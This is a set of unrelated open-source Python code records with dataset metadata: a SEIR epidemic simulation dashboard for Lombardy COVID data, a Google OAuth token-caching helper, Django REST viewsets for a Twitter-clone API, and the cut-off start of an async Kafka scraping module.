(s, 'Susceptible', 'white'),\n                        ]\n                    ]\n                )\n            )\n            * hv.Curve((t, fd + i0d + i1 + i2 + rd), label='Confirmed Cases, simulated').options(\n                line_dash='dashed'\n            )\n            * hv.Curve((t, fd), label='Known fatalities, simulated').options(\n                line_dash='dashed'\n            )\n            * hv.Overlay([\n                hv.Scatter(data.lombardia, 'data', y, label=label).options(marker='o', size=6)\n                for y, label, color in [\n                    ('totale_casi', 'Total cases', 'blue'),\n                    ('deceduti', 'Deceased', 'red'),\n                ]\n            ])\n            * vlines\n            ).options(\n                title='SEIR Total Population Trace, Stacked',\n                xlabel='date',\n                ylabel='number of individuals, stacked',\n                aspect=2,\n                responsive=True,\n                legend_position='top_left',\n            ).redim.range(y=(1, 1.5 * max(data.lombardia['totale_casi'])))\n\n    traces = (hv.Overlay(\n                [\n                    hv.Curve((t, y), label=label).options(\n                        line_width=2, framewise=True\n                    )\n                    for y, label in [\n                        (fd + i0d + i1 + i2 + rd, 'Confirmed cases'),\n                        (i0d, 'Infectious, detected'),\n                        (i1, 'Infectious, severe'),\n                        (i2, 'Infectious, critical'),\n                        (rd, 'Recovered, detected'),\n                        (fd, 'Infection-related fatalities, detected'),\n                    ]\n                ]\n            )\n            * hv.Overlay([\n                hv.Scatter(data.lombardia, 'data', y, label=label).options(marker='o', size=6)\n                for y, label in [\n                    ('totale_casi', 'Total cases'),\n                    ('isolamento_domiciliare', 'Home isolation'),\n                    ('ricoverati_con_sintomi', 'Admitted to hospital'),\n                    ('terapia_intensiva', 'ICU'),\n                    ('dimessi_guariti', 'Recovered'),\n                    ('deceduti', 'Deceased'),\n                ]\n            ])\n            * vlines\n            ).options(\n                title='SEIR Population Traces',\n                xlabel='date',\n                ylabel='number of individuals',\n                aspect=2,\n                responsive=True,\n                legend_position='top_left',\n            ).redim.range(y=(1, None))\n\n    return (\n        stack.options(yformatter='%d') +\n        stack.options(logy=True, show_legend=False) +\n        traces.options(yformatter='%d') +\n        traces.options(logy=True, show_legend=False)\n    ).cols(1)\n\n\ndef fiddle(**kwargs):\n\n    sliders = OrderedDict()\n    for name, param in seir.PARAMS.items():\n        slider_type, fmt = slider_type_map[type(param.default)]\n        if fmt:\n            sliders[name] = slider_type(name=param.description, start=param.min, end=param.max, value=param.default,\n                                        step=(param.max - param.min) / 101, format=fmt)\n        else:\n            sliders[name] = slider_type(name=param.description, start=param.min, end=param.max, value=param.default)\n\n    fiddle_draw = pn.depends(**{k: v.param.value for k, v in sliders.items()})(draw)\n\n    # Override default values with kwargs\n    for k, v in kwargs.items():\n        if k in sliders:\n            sliders[k].value = v\n\n    n_sliders = len(sliders)\n    slider_values = list(sliders.values())\n\n    gspec = pn.GridSpec(sizing_mode='stretch_both')\n    gspec[0, 0] = pn.WidgetBox(*slider_values[:n_sliders//2])\n    gspec[0, 1] = pn.WidgetBox(*slider_values[n_sliders//2:])\n    gspec[1, :] = hv.DynamicMap(fiddle_draw)\n    return gspec\n\n\nif __name__ == '__main__':\n    hv.plotting.bokeh.ElementPlot.hooks.append(disable_logo)\n    fiddle().servable('SEIR Simulation')\n", "repo_name": "raaperrotta/covid-binder", "sub_path": "seir/fiddle.py", "file_name": "fiddle.py", "file_ext": "py", "file_size_in_byte": 6021, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "panel.extension", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 22, "usage_type": "attribute"}, {"api_name": "panel.widgets", "line_number": 20, "usage_type": "attribute"}, {"api_name": "panel.widgets", "line_number": 21, "usage_type": "attribute"}, {"api_name": "panel.widgets", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pandas.date_range", "line_number": 33, "usage_type": "call"}, {"api_name": "seir.DATE_OF_SIM_TIME_ZERO", "line_number": 33, "usage_type": "attribute"}, {"api_name": "seir.run_odeint", "line_number": 34, "usage_type": "call"}, {"api_name": "holoviews.Overlay", "line_number": 36, "usage_type": "call"}, {"api_name": "holoviews.VLine", "line_number": 37, "usage_type": "call"}, {"api_name": "data.DATE_OF_LOMBARDY_LOCKDOWN", "line_number": 38, "usage_type": "attribute"}, {"api_name": "data.DATE_OF_SHUTDOWN_OF_NONESSENTIALS", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pandas.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.datetime", "line_number": 38, "usage_type": "attribute"}, {"api_name": "holoviews.Area.stack", "line_number": 41, "usage_type": "call"}, {"api_name": "holoviews.Area", "line_number": 41, "usage_type": "attribute"}, {"api_name": "holoviews.Overlay", "line_number": 42, "usage_type": "call"}, {"api_name": "holoviews.Area", "line_number": 44, "usage_type": "call"}, {"api_name": "holoviews.Curve", "line_number": 62, "usage_type": "call"}, {"api_name": "holoviews.Curve", "line_number": 65, "usage_type": "call"}, {"api_name": "holoviews.Overlay", "line_number": 68, "usage_type": "call"}, {"api_name": "holoviews.Scatter", "line_number": 69, "usage_type": "call"}, {"api_name": "data.lombardia", "line_number": 69, "usage_type": "attribute"}, {"api_name": "data.lombardia", "line_number": 83, "usage_type": "attribute"}, {"api_name": "holoviews.Overlay", "line_number": 85, "usage_type": "call"}, {"api_name": "holoviews.Curve", "line_number": 87, "usage_type": "call"}, {"api_name": "holoviews.Overlay", "line_number": 100, "usage_type": "call"}, {"api_name": "holoviews.Scatter", "line_number": 101, "usage_type": "call"}, {"api_name": "data.lombardia", "line_number": 101, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 131, "usage_type": "call"}, {"api_name": "seir.PARAMS.items", "line_number": 132, "usage_type": "call"}, {"api_name": "seir.PARAMS", "line_number": 132, "usage_type": "attribute"}, {"api_name": "panel.depends", "line_number": 140, "usage_type": "call"}, {"api_name": "panel.GridSpec", "line_number": 150, "usage_type": "call"}, {"api_name": "panel.WidgetBox", "line_number": 151, "usage_type": "call"}, {"api_name": "panel.WidgetBox", "line_number": 152, "usage_type": "call"}, {"api_name": "holoviews.DynamicMap", "line_number": 153, "usage_type": "call"}, {"api_name": "holoviews.plotting.bokeh.ElementPlot.hooks.append", "line_number": 158, "usage_type": "call"}, {"api_name": "holoviews.plotting", "line_number": 158, "usage_type": "attribute"}]}
{"seq_id": "36229664337", "text": "import os\nimport pickle\nimport logging\nfrom typing import List\nfrom functools import partial\n\nfrom pytconf import register_function\n\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\n\nfrom pygooglehelper.util import str_list_md5, ensure_folder\nfrom pygooglehelper.configs import ConfigAuth\nfrom pygooglehelper.static import LOGGER_NAME\n\n\ndef get_credentials(\n    app_name: str,\n    scopes: List[str],\n    host: str = ConfigAuth.host,\n    port: int = ConfigAuth.port,\n    authorization_prompt_message: str = ConfigAuth.authorization_prompt_message,\n    force: bool = ConfigAuth.force,\n) -> Credentials:\n    \"\"\"\n    The file token.pickle stores the user's access and refresh tokens, and is\n    created automatically when the authorization flow completes for the first\n    time.\n    It is also updated when refreshing or when the scopes change.\n    \"\"\"\n    logger = logging.getLogger(LOGGER_NAME)\n    credentials = None\n    md5_of_scopes = str_list_md5(scopes)\n    token_filename = os.path.expanduser(f\"~/.config/google_tokens/token-{md5_of_scopes}.pickle\")\n    logger.debug(f\"reading credentials from [{token_filename}]\")\n    if force:\n        if os.access(token_filename, os.R_OK):\n            os.unlink(token_filename)\n    if os.access(token_filename, os.R_OK):\n        with open(token_filename, \"rb\") as token_stream:\n            credentials = pickle.load(token_stream)\n    if credentials is None or not credentials.valid:\n        if credentials is not None:\n            if credentials.expired and credentials.refresh_token:\n                logger.debug(\"refreshing credentials\")\n                credentials.refresh(Request())\n        else:\n            client_secret = os.path.expanduser(f\"~/.config/{app_name}/client_secret.json\")\n            if not os.path.isfile(client_secret):\n                raise IOError(f\"missing client secret file [{client_secret}] for application [{app_name}]\")\n            logger.debug(f\"creating credentials from client secret at {client_secret}\")\n            flow = InstalledAppFlow.from_client_secrets_file(\n                client_secret, scopes,\n            )\n            credentials = flow.run_local_server(\n                host=host,\n                port=port,\n                authorization_prompt_message=authorization_prompt_message,\n            )\n        logger.debug(f\"creating a new token file [{token_filename}]\")\n        # there is a need to remove the old file if it exists since we chmod them so we can't overwrite them\n        if os.access(token_filename, os.R_OK):\n            os.unlink(token_filename)\n        ensure_folder(token_filename)\n        with open(token_filename, \"wb\") as token_stream:\n            os.fchmod(token_stream.fileno(), 0o400)\n            pickle.dump(credentials, token_stream)\n    else:\n        logger.debug(f\"have valid credentials in [{token_filename}]\")\n    return credentials\n\n\ndef register_functions(scopes: List[str], app_name: str):\n    register_function(\n        function=partial(\n            get_credentials,\n            scopes=scopes,\n            app_name=app_name\n        ),\n        description=\"Do the authentication procedure and get token for your app\",\n        name=\"auth\",\n        configs=[ConfigAuth],\n    )\n", "repo_name": "veltzer/pygooglehelper", "sub_path": "pygooglehelper/auth.py", "file_name": "auth.py", "file_ext": "py", "file_size_in_byte": 3302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 20, "usage_type": "name"}, {"api_name": "pygooglehelper.configs.ConfigAuth.host", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygooglehelper.configs.ConfigAuth", "line_number": 21, "usage_type": "name"}, {"api_name": "pygooglehelper.configs.ConfigAuth.port", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygooglehelper.configs.ConfigAuth", "line_number": 22, "usage_type": "name"}, {"api_name": "pygooglehelper.configs.ConfigAuth.authorization_prompt_message", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygooglehelper.configs.ConfigAuth", "line_number": 23, "usage_type": "name"}, {"api_name": "pygooglehelper.configs.ConfigAuth.force", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygooglehelper.configs.ConfigAuth", "line_number": 24, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "pygooglehelper.static.LOGGER_NAME", "line_number": 32, "usage_type": "argument"}, {"api_name": "pygooglehelper.util.str_list_md5", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.access", "line_number": 38, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 39, "usage_type": "call"}, {"api_name": "os.access", "line_number": 40, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 42, "usage_type": "call"}, {"api_name": "google.auth.transport.requests.Request", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow.from_client_secrets_file", "line_number": 53, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow", "line_number": 53, "usage_type": "name"}, {"api_name": "os.access", "line_number": 63, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 64, "usage_type": "call"}, {"api_name": "pygooglehelper.util.ensure_folder", "line_number": 65, "usage_type": "call"}, {"api_name": "os.fchmod", "line_number": 67, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 68, "usage_type": "call"}, {"api_name": "google.oauth2.credentials.Credentials", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 74, "usage_type": "name"}, {"api_name": "pytconf.register_function", "line_number": 75, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 76, "usage_type": "call"}, {"api_name": "pygooglehelper.configs.ConfigAuth", "line_number": 83, "usage_type": "name"}]}
{"seq_id": "30910622517", "text": "from rest_framework import viewsets, mixins\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated, IsAdminUser\nfrom rest_framework.decorators import action\n\nfrom apps.page.models import Tag, Page, Post\nfrom apps.page.serializers import (\n    TagSerializer,\n    PageSerializer,\n    PageBlockSerializer,\n    PageDetailSerializer,\n    PageFollowRequestSerializer,\n    PageFollowersSerializer,\n    PageLikedPostsSerializer,\n    PostSerializer,\n    PostLikesSerializer,\n    PageURLSerializer,\n)\nfrom apps.page.permissions import (\n    IsPageOwner,\n    IsPostOwner,\n    IsPagePrivate,\n    IsPageBlocked,\n    IsPostPageOwner,\n    IsFollower,\n    IsSpecifiedPageCorrect,\n    IsSpecifiedFollowRequestCorrect,\n    IsSpecifiedFollowerCorrect,\n    IsSpecifiedLikeCorrect,\n)\nfrom apps.page.filters import PageSearchFilter\nfrom apps.user.permissions import IsModeratorUser\n\n\nclass TagViewSet(\n    mixins.ListModelMixin,\n    mixins.CreateModelMixin,\n    mixins.RetrieveModelMixin,\n    mixins.UpdateModelMixin,\n    mixins.DestroyModelMixin,\n    viewsets.GenericViewSet,\n):\n    queryset = Tag.objects.all()\n    serializer_class = TagSerializer\n    permission_classes = (IsAuthenticated,)\n\n\nclass PageViewSet(\n    mixins.ListModelMixin,\n    mixins.CreateModelMixin,\n    mixins.RetrieveModelMixin,\n    mixins.UpdateModelMixin,\n    mixins.DestroyModelMixin,\n    viewsets.GenericViewSet,\n):\n    queryset = Page.objects.all()\n\n    serializer_class = PageSerializer\n    serializer_classes_by_action = {\n        'create': PageDetailSerializer,\n        'retrieve': PageDetailSerializer,\n        'update': PageDetailSerializer,\n        'follow_requests': PageFollowRequestSerializer,\n        'add_follow_request': PageFollowRequestSerializer,\n        'remove_follow_request': PageFollowRequestSerializer,\n        'followers': PageFollowersSerializer,\n        'add_follower': PageFollowersSerializer,\n        'remove_follower': PageFollowersSerializer,\n        'liked_posts': PageLikedPostsSerializer,\n        'block_page': PageBlockSerializer,\n        'page_image': PageURLSerializer,\n        'update_image': PageURLSerializer,\n        'delete_image': PageURLSerializer,\n    }\n\n    permission_classes = (IsAuthenticated,)\n    permission_classes_by_action = {\n        'retrieve': (IsPageBlocked | IsModeratorUser | IsAdminUser),\n        'update': (IsPageOwner, IsPageBlocked),\n        'destroy': (IsPageOwner,),\n        'add_follow_request': (IsSpecifiedFollowRequestCorrect,),\n        'remove_follow_request': (IsSpecifiedFollowRequestCorrect | IsPageOwner,),\n        'add_follower': (\n            (~IsPageOwner & IsSpecifiedFollowerCorrect & IsPagePrivate) | (~IsPagePrivate & IsPageOwner),\n        ),\n        'remove_follower': (IsSpecifiedFollowerCorrect | IsPageOwner,),\n        'liked_posts': (IsPageOwner, IsPageBlocked,),\n        'block_page': (IsModeratorUser | IsAdminUser,),\n        'page_image': (IsPageOwner,),\n        'update_image': (IsPageOwner,),\n        'delete_image': (IsPageOwner,),\n    }\n\n    filter_backends = (PageSearchFilter,)\n\n    lookup_url_kwarg = 'page_pk'\n\n    @action(detail=True, methods=('GET',), url_path='follow-requests')\n    def follow_requests(self, request, *args, **kwargs):\n        return super().retrieve(request, *args, **kwargs)\n\n    @follow_requests.mapping.put\n    def add_follow_request(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @follow_requests.mapping.delete\n    def remove_follow_request(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @action(detail=True, methods=('GET',), url_path='followers')\n    def followers(self, request, *args, **kwargs):\n        return super().retrieve(request, *args, **kwargs)\n\n    @followers.mapping.put\n    def add_follower(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @followers.mapping.delete\n    def remove_follower(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @action(detail=True, methods=('GET',), url_path='liked_posts')\n    def liked_posts(self, request, *args, **kwargs):\n        return super().retrieve(request, *args, **kwargs)\n\n    @action(detail=True, methods=('PATCH',))\n    def block_page(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @action(detail=True, methods=('GET',))\n    def page_image(self, request, *args, **kwargs):\n        return super().retrieve(request, *args, **kwargs)\n\n    @page_image.mapping.put\n    def update_image(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @page_image.mapping.delete\n    def delete_image(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    def get_serializer_class(self):\n        return self.serializer_classes_by_action.get(self.action, self.serializer_class)\n\n    def get_permissions(self):\n        try:\n            return [permission() for permission in self.permission_classes_by_action[self.action]]\n        except KeyError:\n            return [permission() for permission in self.permission_classes]\n\n\nclass PostViewSet(\n    mixins.ListModelMixin,\n    mixins.CreateModelMixin,\n    mixins.RetrieveModelMixin,\n    mixins.UpdateModelMixin,\n    mixins.DestroyModelMixin,\n    viewsets.GenericViewSet,\n):\n    queryset = Post.objects.all()\n\n    serializer_class = PostSerializer\n    serializer_classes_by_action = {\n        'like_post': PostLikesSerializer,\n        'unlike_post': PostLikesSerializer,\n    }\n\n    permission_classes = (IsAuthenticated | IsAdminUser,)\n    permission_classes_by_action = {\n        'list': (\n            IsPagePrivate | IsPostPageOwner | IsFollower | IsModeratorUser | IsAdminUser,\n            IsPageBlocked | IsModeratorUser | IsAdminUser,\n        ),\n        'create': (IsPostPageOwner, IsSpecifiedPageCorrect,),\n        'update': (IsPostOwner,),\n        'delete': (IsPostOwner | IsModeratorUser | IsAdminUser,),\n        'like_post': (IsSpecifiedLikeCorrect,),\n        'unlike_post': (IsSpecifiedLikeCorrect,),\n    }\n\n    def list(self, request, pk=None, page_pk=None):\n        queryset = Post.objects.filter(page=page_pk)\n        serializer = self.get_serializer(queryset, many=True)\n        return Response(serializer.data)\n\n    @action(detail=True, methods=('PUT',), url_path='likes')\n    def like_post(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    @like_post.mapping.delete\n    def unlike_post(self, request, *args, **kwargs):\n        return super().update(request, *args, **kwargs)\n\n    def get_serializer_class(self):\n        return self.serializer_classes_by_action.get(self.action, self.serializer_class)\n\n    def get_permissions(self):\n        try:\n            return [permission() for permission in self.permission_classes_by_action[self.action]]\n        except KeyError:\n            return [permission() for permission in self.permission_classes]\n", "repo_name": "apollinaire33/Python-Twitter-Clone-Web-API", "sub_path": "apps/page/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 37, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 37, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 38, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 38, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 39, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 39, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 41, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 41, "usage_type": "name"}, {"api_name": "apps.page.models.Tag.objects.all", "line_number": 43, "usage_type": "call"}, {"api_name": "apps.page.models.Tag.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "apps.page.models.Tag", "line_number": 43, "usage_type": "name"}, {"api_name": "apps.page.serializers.TagSerializer", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 45, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 49, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 49, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 50, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 51, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 51, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 52, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 53, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 53, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 54, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 54, "usage_type": "name"}, {"api_name": "apps.page.models.Page.objects.all", "line_number": 56, "usage_type": "call"}, {"api_name": "apps.page.models.Page.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "apps.page.models.Page", "line_number": 56, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageSerializer", "line_number": 58, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageDetailSerializer", "line_number": 60, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageDetailSerializer", "line_number": 61, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageDetailSerializer", "line_number": 62, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageFollowRequestSerializer", "line_number": 63, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageFollowRequestSerializer", "line_number": 64, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageFollowRequestSerializer", "line_number": 65, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageFollowersSerializer", "line_number": 66, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageFollowersSerializer", "line_number": 67, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageFollowersSerializer", "line_number": 68, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageLikedPostsSerializer", "line_number": 69, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageBlockSerializer", "line_number": 70, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageURLSerializer", "line_number": 71, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageURLSerializer", "line_number": 72, "usage_type": "name"}, {"api_name": "apps.page.serializers.PageURLSerializer", "line_number": 73, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 76, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageBlocked", "line_number": 78, "usage_type": "name"}, {"api_name": "apps.user.permissions.IsModeratorUser", "line_number": 78, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 78, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 79, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageBlocked", "line_number": 79, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 80, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedFollowRequestCorrect", "line_number": 81, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedFollowRequestCorrect", "line_number": 82, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 82, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 84, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedFollowerCorrect", "line_number": 84, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPagePrivate", "line_number": 84, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedFollowerCorrect", "line_number": 86, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 86, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 87, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageBlocked", "line_number": 87, "usage_type": "name"}, {"api_name": "apps.user.permissions.IsModeratorUser", "line_number": 88, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 88, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 89, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 90, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageOwner", "line_number": 91, "usage_type": "name"}, {"api_name": "apps.page.filters.PageSearchFilter", "line_number": 94, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 110, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 122, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 126, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 130, "usage_type": "call"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 153, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 153, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 154, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 154, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 155, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 155, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 156, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 156, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 157, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 157, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 158, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 158, "usage_type": "name"}, {"api_name": "apps.page.models.Post.objects.all", "line_number": 160, "usage_type": "call"}, {"api_name": "apps.page.models.Post.objects", "line_number": 160, "usage_type": "attribute"}, {"api_name": "apps.page.models.Post", "line_number": 160, "usage_type": "name"}, {"api_name": "apps.page.serializers.PostSerializer", "line_number": 162, "usage_type": "name"}, {"api_name": "apps.page.serializers.PostLikesSerializer", "line_number": 164, "usage_type": "name"}, {"api_name": "apps.page.serializers.PostLikesSerializer", "line_number": 165, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 168, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 168, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPagePrivate", "line_number": 171, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPostPageOwner", "line_number": 171, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsFollower", "line_number": 171, "usage_type": "name"}, {"api_name": "apps.user.permissions.IsModeratorUser", "line_number": 171, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 171, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPageBlocked", "line_number": 172, "usage_type": "name"}, {"api_name": "apps.user.permissions.IsModeratorUser", "line_number": 172, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 172, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPostPageOwner", "line_number": 174, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedPageCorrect", "line_number": 174, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPostOwner", "line_number": 175, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsPostOwner", "line_number": 176, "usage_type": "name"}, {"api_name": "apps.user.permissions.IsModeratorUser", "line_number": 176, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 176, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedLikeCorrect", "line_number": 177, "usage_type": "name"}, {"api_name": "apps.page.permissions.IsSpecifiedLikeCorrect", "line_number": 178, "usage_type": "name"}, {"api_name": "apps.page.models.Post.objects.filter", "line_number": 182, "usage_type": "call"}, {"api_name": "apps.page.models.Post.objects", "line_number": 182, "usage_type": "attribute"}, {"api_name": "apps.page.models.Post", "line_number": 182, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 184, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 186, "usage_type": "call"}]}
{"seq_id": "75133900389", "text": "import asyncio\nimport json\nfrom datetime import datetime\nfrom enum import Enum\nfrom functools import partial\nfrom itertools import cycle\nfrom typing import Any, Dict, Iterator, List\n\nfrom aiohttp import ClientError as ClientError\nfrom aiohttp import ClientSession as Session\nfrom aiohttp import ClientTimeout\nfrom aiokafka import AIOKafkaConsumer, AIOKafkaProducer\nfrom aiokafka.errors import KafkaError\nfrom bs4 import BeautifulSoup, SoupStrainer\n\nfrom .constants import (\n    KAFKA_PARSER_TOPIC,\n    KAFKA_SERVER,\n    KAFKA_UPDATER_TOPIC,\n    PARSER_GROUP_ID,\n    USER_AGENTS,\n)\nfrom .logger import get_logger\nfrom .minio_utils import upload_pictures_to_minio\n\nparser_logger = get_logger(__name__)\n\n\nclass ParsingStatus(str, Enum):\n    in_progress = \"in_progress\"\n    failed = \"failed\"\n    finished = \"finished\"\n\n\ndef user_agent_cycle() -> Iterator[str]:\n    \"\"\"Helper function which returns an Iterator that yields user-agents in\n\n    infinite cycle.\n    :return: functools cycle for user-agents strings.\n    \"\"\"\n    return cycle(USER_AGENTS)\n\n\nasync def get_producer() -> AIOKafkaProducer:\n    \"\"\"Connects to kafka topic, starts and 